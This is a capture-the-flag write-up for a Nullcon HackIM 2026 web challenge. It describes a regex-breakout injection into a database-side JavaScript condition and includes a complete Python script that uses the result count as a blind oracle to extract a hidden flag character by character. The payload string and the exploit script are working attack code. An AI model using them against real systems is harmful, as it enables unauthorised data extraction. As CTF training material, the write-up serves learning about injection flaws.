Tags: oracle regex py
Rating:
# CVE DB
**Event:** Nullcon Goa HackIM 2026 CTF
**Category:** Web
**Points:** 401
**Service:** `52.59.124.14:5000`
## Overview
The search endpoint builds a regular expression from user input inside a database-side JavaScript condition. By breaking out of the regex, we can inject arbitrary boolean logic and get a reliable blind oracle from the result count.
## Vulnerability
- User input is interpolated into `/.../i` without escaping.
- Payload `a^/)||(<cond>)&&(/a^` breaks out of the regex and injects JS conditions.
- The page reveals the number of results, so the condition becomes a boolean oracle.
## Solution
1. Verify the oracle with `true` and `false`.
2. Target the hidden record with `this.description.indexOf('confidential')!=-1`.
3. Confirm the flag is stored in `this.product`.
4. Extract the length with binary search on `this.product.length`.
5. Extract each character with binary search on `this.product.charCodeAt(i)`.
## Exploit Script
```python
#!/usr/bin/env python3
import argparse
import re
import sys
import urllib.parse
import urllib.request
TARGET_COND = "this.description.indexOf('confidential')!=-1"
class ExploitError(Exception):
pass
def post_search(base_url: str, query: str, timeout: float) -> str:
data = urllib.parse.urlencode({"query": query}).encode()
req = urllib.request.Request(
f"{base_url}/search",
data=data,
method="POST",
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.read().decode("utf-8", "ignore")
def parse_result_count(html: str) -> int:
if "There was a database error." in html:
raise ExploitError("Server returned database error (payload malformed).")
m = re.search(r"Found\s+(\d+)\s+result", html)
if m:
return int(m.group(1))
if "No CVEs found matching your search criteria." in html:
return 0
raise ExploitError("Unexpected response format.")
def oracle(base_url: str, cond: str, timeout: float) -> bool:
# Break out from /<user>/i style regex and inject JS condition.
payload = f"a^/)||(({cond}))&&(/a^"
html = post_search(base_url, payload, timeout)
return parse_result_count(html) > 0
def targeted(base_url: str, extra_cond: str, timeout: float) -> bool:
cond = f"({TARGET_COND})&&({extra_cond})"
return oracle(base_url, cond, timeout)
def extract_flag(base_url: str, timeout: float, verbose: bool) -> str:
if not oracle(base_url, "true", timeout):
raise ExploitError("Sanity check failed: true condition returned false.")
if oracle(base_url, "false", timeout):
raise ExploitError("Sanity check failed: false condition returned true.")
if not targeted(base_url, "this.product.indexOf('ENO{')==0", timeout):
raise ExploitError("Target row does not appear to store flag in product field.")
lo, hi = 1, 256
while lo < hi:
mid = (lo + hi + 1) // 2
if targeted(base_url, f"this.product.length>{mid}", timeout):
lo = mid
else:
hi = mid - 1
length = lo + 1
if verbose:
print(f"[+] inferred length: {length}")
chars = []
for i in range(length):
l, h = 31, 126
while l < h:
m = (l + h + 1) // 2
if targeted(base_url, f"this.product.charCodeAt({i})>{m}", timeout):
l = m
else:
h = m - 1
code = l + 1
if not targeted(base_url, f"this.product.charCodeAt({i})=={code}", timeout):
found = None
for c in range(32, 127):
if targeted(base_url, f"this.product.charCodeAt({i})=={c}", timeout):
found = c
break
if found is None:
raise ExploitError(f"Could not resolve character at offset {i}.")
code = found
chars.append(chr(code))
if verbose:
print(f"[{i:02d}] {''.join(chars)}")
return "".join(chars)
def main() -> int:
parser = argparse.ArgumentParser(
description="ENO CVE DB solver (blind extraction via regex/$where injection)."
)
parser.add_argument("--host", default="52.59.124.14", help="Target host")
parser.add_argument("--port", type=int, default=5000, help="Target port")
parser.add_argument("--timeout", type=float, default=10.0, help="HTTP timeout")
parser.add_argument(
"--quiet",
action="store_true",
help="Only print final flag",
)
args = parser.parse_args()
base_url = f"http://{args.host}:{args.port}"
verbose = not args.quiet
try:
flag = extract_flag(base_url, args.timeout, verbose)
except Exception as exc:
print(f"[-] exploit failed: {exc}", file=sys.stderr)
return 1
print(flag)
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
## Flag
`ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}`